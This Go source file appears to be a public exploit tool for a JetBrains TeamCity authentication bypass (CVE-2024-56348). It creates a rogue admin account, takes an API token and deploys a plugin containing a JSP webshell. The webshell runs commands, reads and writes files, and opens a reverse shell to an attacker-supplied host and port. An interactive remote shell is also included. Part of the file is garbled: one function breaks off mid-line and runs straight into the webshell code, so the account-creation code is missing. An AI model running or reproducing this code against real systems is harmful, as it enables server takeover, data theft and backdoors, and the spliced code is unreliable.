// CVE-2024-56348 — JetBrains TeamCity Authentication Bypass + RCE // Affected: TeamCity on-premises < 2024.12 // Impact: Unauthenticated attacker can create SYSTEM_ADMIN accounts and achieve RCE // Author: Joshua van der Poll (https://github.com/joshuavanderpoll) // Repo: https://github.com/joshuavanderpoll/cve-2024-56348 package main import ( "archive/zip" "bufio" "bytes" "crypto/tls" "encoding/base64" "encoding/json" "encoding/xml" "flag" "fmt" "io" "math/rand" "mime/multipart" "net/http" "net/http/cookiejar" "net/textproto" "net/url" "os" "regexp" "strings" "time" ) const ( pink = "\033[95m" bold = "\033[1m" green = "\033[92m" red = "\033[91m" yellow = "\033[93m" cyan = "\033[96m" reset = "\033[0m" ) const ( repoURL = "https://github.com/joshuavanderpoll/cve-2024-56348" userAgent = "Mozilla/5.0 AppleWebKit/537.36 (CVE-2024-56348; +https://github.com/joshuavanderpoll/cve-2024-56348)" ) var ( client *http.Client csrfToken string deployedShellURL string ) func init() { rand.Seed(time.Now().UnixNano()) jar, _ := cookiejar.New(nil) client = &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, Jar: jar, } } func do(method, rawURL string, body io.Reader, headers map[string]string) (*http.Response, string, error) { req, err := http.NewRequest(method, rawURL, body) if err != nil { return nil, "", err } req.Header.Set("User-Agent", userAgent) for k, v := range headers { req.Header.Set(k, v) } if csrfToken != "" { req.Header.Set("X-TC-CSRF-Token", csrfToken) } resp, err := client.Do(req) if err != nil { return nil, "", err } defer resp.Body.Close() b, _ := io.ReadAll(resp.Body) return resp, string(b), nil } func randomString(n int, charset string) string { b := make([]byte, n) for i := range b { b[i] = charset[rand.Intn(len(charset))] } return string(b) } // checkVulnerable probes the auth-bypass endpoint to confirm the target // exposes the unauthenticated REST API surface. func checkVulnerable(target string) bool { resp, body, err := do("GET", target+"/hax?jsp=/app/rest/server;.jsp", nil, nil) if err != nil { return false } if resp.StatusCode != 200 || (!strings.Contains(body, " <%@ page import="java.io.*,java.net.*,java.util.*" %> <% String action = request.getParameter("action"); if (action == null) action = "cmd"; if (action.equals("cmd")) { String query = request.getParameter("cmd"); if (query != null) { try { String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", query} : new String[]{"/bin/sh", "-c", query}; Process p = Runtime.getRuntime().exec(cmd); StringBuilder sOut = new StringBuilder(); StringBuilder sErr = new StringBuilder(); Thread tOut = new Thread(() -> { try { Scanner sc = new Scanner(p.getInputStream()).useDelimiter("\\A"); if (sc.hasNext()) sOut.append(sc.next()); } catch (Exception ignore) {} }); Thread tErr = new Thread(() -> { try { Scanner sc = new Scanner(p.getErrorStream()).useDelimiter("\\A"); if (sc.hasNext()) sErr.append(sc.next()); } catch (Exception ignore) {} }); tOut.start(); tErr.start(); int exit = p.waitFor(); tOut.join(); tErr.join(); response.setHeader("X-Exit-Code", String.valueOf(exit)); if (sErr.length() > 0) response.setHeader("X-Stderr", java.util.Base64.getEncoder().encodeToString(sErr.toString().getBytes("UTF-8"))); out.print(sOut.toString()); } catch (Exception e) { response.setHeader("X-Exit-Code", "-1"); out.print("ERROR: " + e.getMessage()); } } } else if (action.equals("read")) { String path = request.getParameter("path"); if (path != null) { try { Scanner sc = new Scanner(new File(path)).useDelimiter("\\A"); out.print(sc.hasNext() ? sc.next() : ""); sc.close(); } catch (Exception e) { response.setStatus(404); } } } else if (action.equals("write")) { String path = request.getParameter("path"); String content = request.getParameter("content"); if (path != null && content != null) { FileWriter fw = new FileWriter(path); fw.write(content); fw.close(); out.print("ok"); } } else if (action.equals("shell")) { // Background thread — HTTP response returns before the shell exits. final String lhost = request.getParameter("lhost"); final int lport = Integer.parseInt(request.getParameter("lport")); final String osName = System.getProperty("os.name").toLowerCase(); new Thread(() -> { try { String shell = osName.contains("windows") ? "cmd.exe" : "/bin/sh"; Process p = new ProcessBuilder(shell).redirectErrorStream(true).start(); Socket s = new Socket(lhost, lport); final InputStream pi = p.getInputStream(), si = s.getInputStream(); final OutputStream po = p.getOutputStream(), so = s.getOutputStream(); new Thread(() -> { try { byte[] buf = new byte[1024]; int n; while ((n = si.read(buf)) != -1) { po.write(buf, 0, n); po.flush(); } } catch (Exception ignore) {} }).start(); byte[] buf = new byte[1024]; int n; while ((n = pi.read(buf)) != -1) { so.write(buf, 0, n); so.flush(); } s.close(); p.destroy(); } catch (Exception ignore) {} }).start(); out.print("ok"); } %>` pluginXML := fmt.Sprintf(` %s %s 1.0 x `, pluginName, pluginName) // Inner JAR: ZIP containing the JSP under buildServerResources/. var jarBuf bytes.Buffer jarW := zip.NewWriter(&jarBuf) f, _ := jarW.Create("buildServerResources/" + pluginName + ".jsp") f.Write([]byte(jsp)) jarW.Close() // Outer plugin ZIP: wrap the JAR and plugin descriptor. var zipBuf bytes.Buffer zipW := zip.NewWriter(&zipBuf) j, _ := zipW.Create("server/" + pluginName + ".jar") j.Write(jarBuf.Bytes()) x, _ := zipW.Create("teamcity-plugin.xml") x.Write([]byte(pluginXML)) zipW.Close() return zipBuf.Bytes() } func uploadPlugin(target, pluginName, token string, zipBytes []byte) bool { var body bytes.Buffer mw := multipart.NewWriter(&body) mw.WriteField("fileName", pluginName+".zip") h := make(textproto.MIMEHeader) h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="file:fileToUpload"; filename="%s.zip"`, pluginName)) h.Set("Content-Type", "application/zip") part, _ := mw.CreatePart(h) part.Write(zipBytes) mw.Close() // Fresh cookie jar to avoid stale session during upload. jar, _ := cookiejar.New(nil) client.Jar = jar resp, _, err := do("POST", target+"/admin/pluginUpload.html", &body, map[string]string{ "Authorization": "Bearer " + token, "Content-Type": mw.FormDataContentType(), }) return err == nil && resp.StatusCode == 200 } // loadPlugin locates the plugin UUID in the admin page and enables it. func loadPlugin(target, pluginName, token string) bool { _, body, err := do("GET", target+"/admin/admin.html?item=plugins", nil, map[string]string{"Authorization": "Bearer " + token}) if err != nil { return false } re := regexp.MustCompile(`BS\.Plugins\.registerPlugin\('` + regexp.QuoteMeta(pluginName) + `', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);`) m := re.FindStringSubmatch(body) if len(m) < 2 { fmt.Printf("%s[-]%s Plugin UUID not found after upload.\n", red, reset) return false } data := url.Values{} data.Set("enabled", "true") data.Set("action", "setEnabled") data.Set("uuid", m[1]) resp, body2, err := do("POST", target+"/admin/plugins.html", strings.NewReader(data.Encode()), map[string]string{ "Authorization": "Bearer " + token, "Content-Type": "application/x-www-form-urlencoded", }) return err == nil && resp.StatusCode == 200 && (strings.Contains(body2, "loaded successfully") || strings.Contains(body2, "already loaded")) } type cmdResult struct { Stdout string Stderr string ExitCode int } // runCommandFull runs a command via the JSP shell and returns stdout, stderr, and exit code. func runCommandFull(shellURL, command, token string) cmdResult { data := url.Values{} data.Set("action", "cmd") data.Set("cmd", command) resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()), map[string]string{ "Authorization": "Bearer " + token, "Content-Type": "application/x-www-form-urlencoded", }) if err != nil { return cmdResult{Stderr: err.Error(), ExitCode: -1} } res := cmdResult{Stdout: strings.TrimSpace(body)} if code := resp.Header.Get("X-Exit-Code"); code != "" { fmt.Sscanf(code, "%d", &res.ExitCode) } if enc := resp.Header.Get("X-Stderr"); enc != "" { if b, err := base64.StdEncoding.DecodeString(enc); err == nil { res.Stderr = strings.TrimRight(string(b), "\n") } } return res } func writeFileViaPlugin(shellURL, filePath, content, token string) bool { data := url.Values{} data.Set("action", "write") data.Set("path", filePath) data.Set("content", content) resp, _, err := do("POST", shellURL, strings.NewReader(data.Encode()), map[string]string{ "Authorization": "Bearer " + token, "Content-Type": "application/x-www-form-urlencoded", }) return err == nil && resp.StatusCode == 200 } func readFileViaPlugin(shellURL, filePath, token string) string { data := url.Values{} data.Set("action", "read") data.Set("path", filePath) resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()), map[string]string{ "Authorization": "Bearer " + token, "Content-Type": "application/x-www-form-urlencoded", }) if err != nil { fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err) return "" } if resp.StatusCode == 404 { fmt.Printf("%s[-]%s File not found on remote: %s\n", red, reset, filePath) return "" } return body } func triggerShell(shellURL, lhost, token string, lport int) { data := url.Values{} data.Set("action", "shell") data.Set("lhost", lhost) data.Set("lport", fmt.Sprintf("%d", lport)) do("POST", shellURL, strings.NewReader(data.Encode()), map[string]string{ "Authorization": "Bearer " + token, "Content-Type": "application/x-www-form-urlencoded", }) } // runCommandDebug runs a command via the REST debug processes endpoint; returns (output, available=false) on 404. func runCommandDebug(target, osName, command, token string) (string, bool) { encoded := url.QueryEscape(command) var u string if strings.Contains(osName, "windows") { u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms=%s", target, encoded) } else { u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms=%s", target, encoded) } resp, body, err := do("POST", u, nil, map[string]string{"Authorization": "Bearer " + token}) if err != nil { return "", true } if resp.StatusCode == 404 { return "", false } re := regexp.MustCompile(`(?s)StdOut:(.*?)StdErr:(.*?)$`) if m := re.FindStringSubmatch(body); len(m) == 3 { out := strings.TrimSpace(m[1]) errOut := strings.TrimSpace(m[2]) if out != "" { return out, true } if errOut != "" { return strings.SplitN(errOut, "\n\n", 2)[0], true } return "", true } return body, true } // ensurePluginShell deploys the JSP plugin once per run and returns its URL. func ensurePluginShell(target, token string) string { if deployedShellURL != "" { return deployedShellURL } pluginName := randomString(8, "abcdefghijklmnopqrstuvwxyz") zipBytes := buildPluginZip(pluginName) fmt.Printf("%s[@]%s Deploying plugin webshell...\n", yellow, reset) if !uploadPlugin(target, pluginName, token, zipBytes) { fmt.Printf("%s[-]%s Plugin upload failed.\n", red, reset) os.Exit(1) } if !loadPlugin(target, pluginName, token) { fmt.Printf("%s[-]%s Plugin activation failed.\n", red, reset) os.Exit(1) } deployedShellURL = fmt.Sprintf("%s/plugins/%s/%s.jsp", target, pluginName, pluginName) fmt.Printf("%s[+]%s Plugin webshell deployed: %s%s%s\n", green, reset, cyan, deployedShellURL, reset) return deployedShellURL } func main() { fmt.Printf("%s%s", pink, bold) fmt.Println(` _____ _____ ___ __ ___ _ _ ___ __ _____ _ ___ `) fmt.Println(` / __\ \ / / __|_|_ ) \_ ) | | ___| __| / /|__ / | |( _ )`) fmt.Println(` | (__ \ V /| _|___/ / () / /|_ _|___|__ \/ _ \|_ \_ _/ _ \`) fmt.Println(` \___| \_/ |___| /___\__/___| |_| |___/\___/___/ |_|\___/`) fmt.Printf("%s\n", reset) fmt.Printf("%s%s%s%s\n\n", pink, bold, repoURL, reset) targetFlag := flag.String("t", "", "Target URL, e.g. http://127.0.0.1:8111") commandFlag := flag.String("command", "", "Command to execute on the remote host") shellFlag := flag.Bool("shell", false, "Spawn a reverse shell (requires -lhost and -lport)") lhostFlag := flag.String("lhost", "", "Listener host for the reverse shell") lportFlag := flag.Int("lport", 0, "Listener port for the reverse shell") writeFileFlag := flag.String("write-file", "", "Remote path to write to (requires -file-content)") fileContentFlag := flag.String("file-content", "", "Content to write when using -write-file") readFileFlag := flag.String("read-file", "", "Remote file path to read and print") flag.Parse() if *targetFlag == "" { fmt.Printf("%s[-]%s Usage: exp -t [-command ] [-shell -lhost -lport ] [-write-file -file-content ] [-read-file ]\n", red, reset) os.Exit(1) } t := strings.TrimRight(*targetFlag, "/") if !strings.HasPrefix(t, "http://") && !strings.HasPrefix(t, "https://") { t = "http://" + t } fmt.Printf("%s[*]%s Target: %s%s%s\n", cyan, reset, cyan, t, reset) // Confirm auth-bypass present before proceeding. fmt.Printf("%s[@]%s Checking for CVE-2024-56348...\n", yellow, reset) if !checkVulnerable(t) { fmt.Printf("%s[-]%s Target does not appear to be vulnerable to CVE-2024-56348.\n", red, reset) os.Exit(1) } fmt.Printf("%s[+]%s Target is vulnerable!\n\n", green, reset) username := randomString(8, "abcdefghijklmnopqrstuvwxyz0123456789") password := randomString(12, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") userID := addUser(t, username, password) token := getToken(t, userID) csrfToken = getCSRFToken(t, token) osName := getOS(t) fmt.Println() if *shellFlag { if *lhostFlag == "" || *lportFlag == 0 { fmt.Printf("%s[-]%s -shell requires both -lhost and -lport.\n", red, reset) os.Exit(1) } shellURL := ensurePluginShell(t, token) fmt.Printf("%s[*]%s Triggering reverse shell to %s:%d — have your listener ready.\n", cyan, reset, *lhostFlag, *lportFlag) triggerShell(shellURL, *lhostFlag, token, *lportFlag) fmt.Printf("%s[+]%s Shell triggered. Check your listener.\n\n", green, reset) } if *writeFileFlag != "" { if *fileContentFlag == "" { fmt.Printf("%s[-]%s -write-file requires -file-content.\n", red, reset) os.Exit(1) } shellURL := ensurePluginShell(t, token) fmt.Printf("%s[@]%s Writing to remote file: %s\n", yellow, reset, *writeFileFlag) if writeFileViaPlugin(shellURL, *writeFileFlag, *fileContentFlag, token) { fmt.Printf("%s[+]%s File written successfully.\n\n", green, reset) } else { fmt.Printf("%s[-]%s File write failed.\n\n", red, reset) } } if *readFileFlag != "" { shellURL := ensurePluginShell(t, token) fmt.Printf("%s[@]%s Reading remote file: %s\n", yellow, reset, *readFileFlag) content := readFileViaPlugin(shellURL, *readFileFlag, token) if content != "" { fmt.Printf("%s[+]%s Contents of %s:\n%s\n\n", green, reset, *readFileFlag, content) } } if *commandFlag != "" { fmt.Printf("%s[@]%s Executing: %s\n", yellow, reset, *commandFlag) out, debugAvail := runCommandDebug(t, osName, *commandFlag, token) if !debugAvail { // Debug endpoint unavailable — fall back to JSP plugin. shellURL := ensurePluginShell(t, token) res := runCommandFull(shellURL, *commandFlag, token) if res.Stdout != "" { fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, res.Stdout) } if res.Stderr != "" { fmt.Printf("%s[-]%s Stderr:\n%s%s%s\n\n", red, reset, red, res.Stderr, reset) } if res.ExitCode != 0 { fmt.Printf("%s[-]%s Exit code: %d\n\n", red, reset, res.ExitCode) } } else if out != "" { fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, out) } } if !*shellFlag && *writeFileFlag == "" && *readFileFlag == "" && *commandFlag == "" { // No action specified — drop into interactive shell. fmt.Printf("%s[*]%s No action specified, starting interactive shell. Type 'exit' to quit.\n\n", cyan, reset) var shellURL string usePlugin := false _, debugAvail := runCommandDebug(t, osName, "echo test", token) if !debugAvail { shellURL = ensurePluginShell(t, token) usePlugin = true } scanner := bufio.NewScanner(os.Stdin) exitCode := 0 for { if exitCode == 0 { fmt.Printf("%s[%d]%s $ ", green, exitCode, reset) } else { fmt.Printf("%s[%d]%s $ ", red, exitCode, reset) } if !scanner.Scan() { fmt.Println() break } cmd := strings.TrimSpace(scanner.Text()) if cmd == "" { continue } if cmd == "exit" || cmd == "quit" { break } if usePlugin { res := runCommandFull(shellURL, cmd, token) if res.Stdout != "" { fmt.Println(res.Stdout) } if res.Stderr != "" { fmt.Printf("%s%s%s\n", red, res.Stderr, reset) } exitCode = res.ExitCode } else { out, _ := runCommandDebug(t, osName, cmd, token) if out != "" { fmt.Println(out) } exitCode = 0 } } } fmt.Printf("\n⭐ If this tool helped you, consider starring the repo: %s%s%s%s\n\n", pink, bold, repoURL, reset) }